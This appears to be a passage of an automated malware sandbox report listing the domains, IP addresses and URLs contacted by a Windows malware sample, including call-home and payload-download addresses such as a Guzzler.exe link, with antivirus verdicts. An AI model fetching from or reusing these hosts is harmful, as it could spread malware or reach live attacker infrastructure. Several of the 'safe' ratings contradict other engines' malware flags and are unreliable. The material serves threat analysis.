            http://nsis.sf.net/NSIS_Error0%Avira URL Cloudsafe
            https://www.hostgator.com.br0%Avira URL Cloudsafe
            https://w.ladicdn.com/v2/source/html5shiv.min.js?v=15693102226930%Avira URL Cloudsafe
            http://www.leadchanges.info/mjuo/?9d=GUK7oVIRF3FAoVisjIpZqa7HO+54FDT9CfoAB53ViUuzbZ1TAtWa7LnCzENP06w/wd6reHxcMz42RIoq6sWsgYEYCrnoxIy0wOTor1QdDe9x8GrLmxcBWSK4ygqmUmz0vTBYLSkIKLnt&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
            https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa0%Avira URL Cloudsafe
            http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd0%Avira URL Cloudsafe
            http://2.56.245.142/Guzzler.exe0%Avira URL Cloudsafe
            https://shahaf3d.com100%Avira URL Cloudmalware
            http://www.grecanici.com/4iea/0%Avira URL Cloudsafe
            https://w.ladicdn.com/v2/source/respond.min.js?v=15693102226930%Avira URL Cloudsafe
            https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa0%Avira URL Cloudsafe
            http://www.leadchanges.info0%Avira URL Cloudsafe
            http://www.torentreprenad.com/r45o/0%Avira URL Cloudsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            www.klimkina.pro
            		185.137.235.103
            		truefalse
              		unknown
              dns.ladipage.com
              		13.228.81.39
              		truefalse
                		unknown
                www.lenovest.xyz
                		162.0.213.94
                		truetrue
                  		unknown
                  shahaf3d.com
                  		64.46.118.35
                  		truetrue
                  • 100%, Sophos S4
                  		unknown
                  futuregainers.net
                  		195.35.39.119
                  		truefalse
                  • 100%, Sophos S4
                  		unknown
                  www.931951.com
                  		172.82.177.221
                  		truefalse
                  • 100%, Sophos S4
                  		unknown
                  www.93v0.com
                  		18.178.206.118
                  		truefalse
                  • 100%, Sophos S4
                  		unknown
                  srripaspocon.org
                  		15.204.0.108
                  		truefalse
                  • 100%, Sophos S4
                  		unknown
                  www.grecanici.com
                  		35.214.235.206
                  		truefalse
                  • 100%, Sophos S4
                  		unknown
                  www.torentreprenad.com
                  		194.9.94.86
                  		truefalse
                  • 100%, Sophos S4
                  		unknown
                  shopnow321.online
                  		162.241.2.254
                  		truefalse
                    		unknown
                    www.leadchanges.info
                    		66.96.162.149
                    		truefalse
                    • 100%, Sophos S4
                    		unknown
                    www.fr2e4o.cfd
                    		unknown
                    		unknowntrue
                      		unknown
                      www.shopnow321.online
                      		unknown
                      		unknowntrue
                        		unknown
                        www.homeppower.com
                        		unknown
                        		unknowntrue
                          		unknown
                          www.x5hh186z.skin
                          		unknown
                          		unknowntrue
                            		unknown
                            www.srripaspocon.org
                            		unknown
                            		unknowntrue
                            • 100%, Sophos S4
                            		unknown
                            www.shahaf3d.com
                            		unknown
                            		unknowntrue
                            • 100%, Sophos S4
                            		unknown
                            www.againbeautywhiteskin.asia
                            		unknown
                            		unknowntrue
                              		unknown
                              www.futuregainers.net
                              		unknown
                              		unknowntrue
                              • 100%, Sophos S4
                              		unknown
                              www.navigate-power.boats
                              		unknown
                              		unknowntrue
                              • 100%, Sophos S4
                              		unknown

                              Contacted URLs

                              NameMaliciousAntivirus DetectionReputation
                              http://www.shopnow321.online/41br/?G0a=VFN0vBc0ol1ljnb0&9d=65BU6tOk0p5LPOIIq5f29seWsrYdgC5c7tuB1xkwgoR5MWDkLOQgx5fJDEvOf4AlMkoVXixJXV15AbOmLh5rfhm5DYiSLYNIQJZpK4Rmnt3Mzv5831d4ZrhRkHRqInFW2dXaUcZHASEtfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.931951.com/2ha1/false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.shahaf3d.com/0a9p/?G0a=VFN0vBc0ol1ljnb0&9d=V8kIBUO99PR2h3hxIilGCb7xaYAlhXctAHbGwYfDKyusvK4qrRX5UHKQt8cO5YQS4wmk4tmPPEFmQcKp7F6SaRICxMFUNkXtPm1N7nAwt3H84qVeuxzzlvsq+rVjUlYjzq9gXVFKEYh8true
                              • Sophos S4: malware callhome domain
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.torentreprenad.com/r45o/?9d=gzu5VRbRlKcxtienrOg/vYWmVRq4TNxrFroidVFNmLFBxOvIucJSpLXaDw+Y+myNYDD7xGaCks3CSH70SMI2pnLhFLXOBLrZylJOsjWCWApEJOKs/ooDCJFxqK6p3RZXycGtf6I8hj/U&G0a=VFN0vBc0ol1ljnb0false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.shopnow321.online/41br/false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.93v0.com/hcaw/false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.againbeautywhiteskin.asia/3h10/?9d=9mZLXJL8GvO5ODxbtOpJ+rtZ6f1lqm3xC+OCFBImS8kNzrmbjyRfioF27F6qemRmHzSdXM7CT4wlEWpleIDtGTZ1FuoRBIGpq98dFU7vfHeXH9gl+ce92Dv1nZMBIpBNzTq2jDHLjtUw&G0a=VFN0vBc0ol1ljnb0false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.srripaspocon.org/egr4/?9d=OombhWzhkCuNqFAQBgJWCTIe5Ku7zRL7Rc3Pxm83mLxAAziOmqPFMSLkiV9xX+4t83HRZJys59Cvhm/US+qC1S/tz9V2xJeiTRy2uMqSR06k3ZbbYlILY5knN9gwwCUqzf9nwI+FPnn/&G0a=VFN0vBc0ol1ljnb0false
                              • Sophos S4: malware callhome domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.lenovest.xyz/e20q/false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.931951.com/2ha1/?G0a=VFN0vBc0ol1ljnb0&9d=r6q+x3A/FEQLw6gmNICl4m79J6xGYnb4MeLNvFaSJRcJ7hS0Yil9+YspC9bp8TGkQ6fd6C5Pq3eWOBjFGqN2LEX+h4RptWZDRuVlG4JzOnajShxrpz3BSvEogxiihZ9tHyNye+qQgWsYfalse
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.93v0.com/hcaw/?9d=Xa5/huFy8Eck4v8ee+xdjh1i7ba8Clp/lHr4KuxbDQUg1IaZpZOFGkNm4jxFFpbvuuzZpNiUUgQ/swG1ojXNpV/H8uI+lgidsfe724rSsodQ5uAfCV2elW9ENMTuv5SSVXQJAcj0qHHf&G0a=VFN0vBc0ol1ljnb0false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.leadchanges.info/mjuo/false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMzQc+iQ+00df400Ki5pEb+b+RkpzmaC/oeJhPADFzgiJMLR5FtBl6eht1vjrsMq9ONCaKj3k5GiGvog+&G0a=VFN0vBc0ol1ljnb0false
                              • Sophos S4: malware callhome domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.lenovest.xyz/e20q/?9d=WPritX3A9R+ySLDHKkvQUC0K3y08yWvw5+tRT3chZ2wpNsEUE7uyewm5xlmwIO2sKs7uf3/86JENB8xtRbvRK6PKTUJmFuSnUKaTSFytHSrQj6qyTDgK0xjAREMwU5wVtegslCXYDiBq&G0a=VFN0vBc0ol1ljnb0false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.shahaf3d.com/0a9p/true
                              • Sophos S4: malware callhome domain
                              • Avira URL Cloud: malware
                              		unknown
                              http://www.srripaspocon.org/egr4/false
                              • Sophos S4: malware callhome domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.grecanici.com/4iea/?9d=LPPTutp79E4NI/FTL4slzgCz9Mw5fMldsgpq5qffN1EY6wk4NmMiGrfPgNjCGewOe8/3zUEWliAlmzRgBncp/x6QXeu+cIhmsENqwLKbzAke2hCAvuJuIziLbcuyQtVHWzDtEtwuFhDD&G0a=VFN0vBc0ol1ljnb0false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.klimkina.pro/4mpz/false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.klimkina.pro/4mpz/?9d=Y+s3rA3a2LtNoPwWBpgaIhZOwJKcGGwPKC2uuWvM7lg96Y/Bosg4gpfl0qSHVI44Bh+XBT77oF2RMn9kUx4VpizPsaF86hmUooqlU0clf3MZo9yRfCdtfy1jNGRBq2V4+pMGerSvIMLN&G0a=VFN0vBc0ol1ljnb0false
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.leadchanges.info/mjuo/?9d=GUK7oVIRF3FAoVisjIpZqa7HO+54FDT9CfoAB53ViUuzbZ1TAtWa7LnCzENP06w/wd6reHxcMz42RIoq6sWsgYEYCrnoxIy0wOTor1QdDe9x8GrLmxcBWSK4ygqmUmz0vTBYLSkIKLnt&G0a=VFN0vBc0ol1ljnb0false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://2.56.245.142/Guzzler.exefalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.grecanici.com/4iea/false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.torentreprenad.com/r45o/false
                              • Sophos S4: malware repository domain
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.againbeautywhiteskin.asia/3h10/false
                              • Avira URL Cloud: safe
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://duckduckgo.com/chrome_newtabcompact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              https://duckduckgo.com/ac/?q=compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              https://optimize.google.comcompact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://ozon.ru/P1 HWT623ATG.bat.exe, GnVIdcfKFYG.exe.1.drfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/themes/countdown/style.css?v=4.1.compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmptrue
                              • Sophos S4: malware callhome domain
                              • Avira URL Cloud: malware
                              		unknown
                              http://klimkina.pro/4mpz/?9d=Ycompact.exe, 0000001A.00000002.3721935627.000000000495A000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000359A000.00000004.00000001.00040000.00000000.sdmpfalse
                                		unknown
                                https://niteothemes.comcompact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://push.zhanzhang.baidu.com/push.jscompact.exe, 0000001A.00000002.3721935627.0000000005134000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003D74000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://static.loopia.se/responsive/images/iOS-72.pngcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://shahaf3d.com/wp-admin/admin-ajax.phpcompact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmptrue
                                • Sophos S4: malware callhome domain
                                • Avira URL Cloud: malware
                                		unknown
                                https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.14.0/css/all.min.csscompact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.googleoptimize.comcompact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtdSmilet.exe, 00000028.00000001.3704245850.00000000005F2000.00000020.00000001.01000000.00000014.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://static.loopia.se/shared/logo/logo-loopia-white.svgcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwecompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://youtu.be/uO1hXLmT2j4compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchcompact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214Smilet.exe, 00000028.00000001.3704245850.0000000000649000.00000020.00000001.01000000.00000014.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://fburl.comcompact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/js/external/vidim.min.js?v=1.0.2compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmptrue
                                • Sophos S4: malware callhome domain
                                • Avira URL Cloud: malware
                                		unknown
                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameP1 HWT623ATG.bat.exe, 00000001.00000002.1286350023.00000000030F7000.00000004.00000800.00020000.00000000.sdmp, GnVIdcfKFYG.exe, 0000000A.00000002.1498915015.0000000002553000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://aliez.tv/P1 HWT623ATG.bat.exe, GnVIdcfKFYG.exe.1.drfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://static.loopia.se/shared/images/additional-pages-hero-shape.webpcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://static.loopia.se/shared/style/2022-extra-pages.csscompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/css/animate.min.csscompact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmptrue
                                • Sophos S4: malware callhome domain
                                • Avira URL Cloud: malware
                                		unknown
                                https://shahaf3d.com/wp-content/uploads/2023/08/shahaf-3d-concrete-printing.jpghCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmptrue
                                • Sophos S4: malware callhome domain
                                • Avira URL Cloud: malware
                                		unknown
                                https://static.loopia.se/responsive/images/iOS-114.pngcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.google.com/images/branding/product/ico/googleg_lodp.icocompact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://raw.github.com/natrim/Sign-Control/master/release.txtP1 HWT623ATG.bat.exe, GnVIdcfKFYG.exe.1.drfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.litespeedtech.com/error-pagecompact.exe, 0000001A.00000002.3721935627.00000000052C6000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003F06000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://wordpress.org/plugins/cmp-coming-soon-maintenance/compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.googleanalytics.comcompact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://zz.bdstatic.com/linksubmit/push.jscompact.exe, 0000001A.00000002.3721935627.0000000005134000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003D74000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.ftp.ftp://ftp.gopher.Smilet.exe, 00000028.00000001.3704245850.0000000000649000.00000020.00000001.01000000.00000014.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://nsis.sf.net/NSIS_ErrorErrorcompact.exe, 0000001A.00000003.2728107070.0000000008A65000.00000004.00000020.00020000.00000000.sdmp, bfc.exe, 00000022.00000002.2779194364.000000000040A000.00000004.00000001.01000000.00000012.sdmp, bfc.exe, 00000022.00000000.2730951982.000000000040A000.00000008.00000001.01000000.00000012.sdmp, Smilet.exe, 00000028.00000000.3703313892.000000000040A000.00000008.00000001.01000000.00000013.sdmp, Smilet.exe.35.dr, bfc.exe.26.dr, Guzzler[1].exe.26.drfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.ecosia.org/newtab/compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://static.loopia.se/responsive/styles/reset.csscompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://ac.ecosia.org/autocomplete?q=compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://static.loopia.se/responsive/images/iOS-57.pngcompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://nsis.sf.net/NSIS_Errorcompact.exe, 0000001A.00000003.2728107070.0000000008A65000.00000004.00000020.00020000.00000000.sdmp, bfc.exe, 00000022.00000002.2779194364.000000000040A000.00000004.00000001.01000000.00000012.sdmp, bfc.exe, 00000022.00000000.2730951982.000000000040A000.00000008.00000001.01000000.00000012.sdmp, Smilet.exe, 00000028.00000000.3703313892.000000000040A000.00000008.00000001.01000000.00000013.sdmp, Smilet.exe.35.dr, bfc.exe.26.dr, Guzzler[1].exe.26.drfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://w.ladicdn.com/v2/source/html5shiv.min.js?v=1569310222693compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://td.doubleclick.netcompact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://www.hostgator.com.brcompact.exe, 0000001A.00000002.3721935627.00000000047C8000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003408000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pacompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtdSmilet.exe, 00000028.00000001.3704245850.00000000005F2000.00000020.00000001.01000000.00000014.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://shahaf3d.comhCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmptrue
                                • Sophos S4: malware callhome domain
                                • Avira URL Cloud: malware
                                		unknown
                                https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pacompact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://w.ladicdn.com/v2/source/respond.min.js?v=1569310222693compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
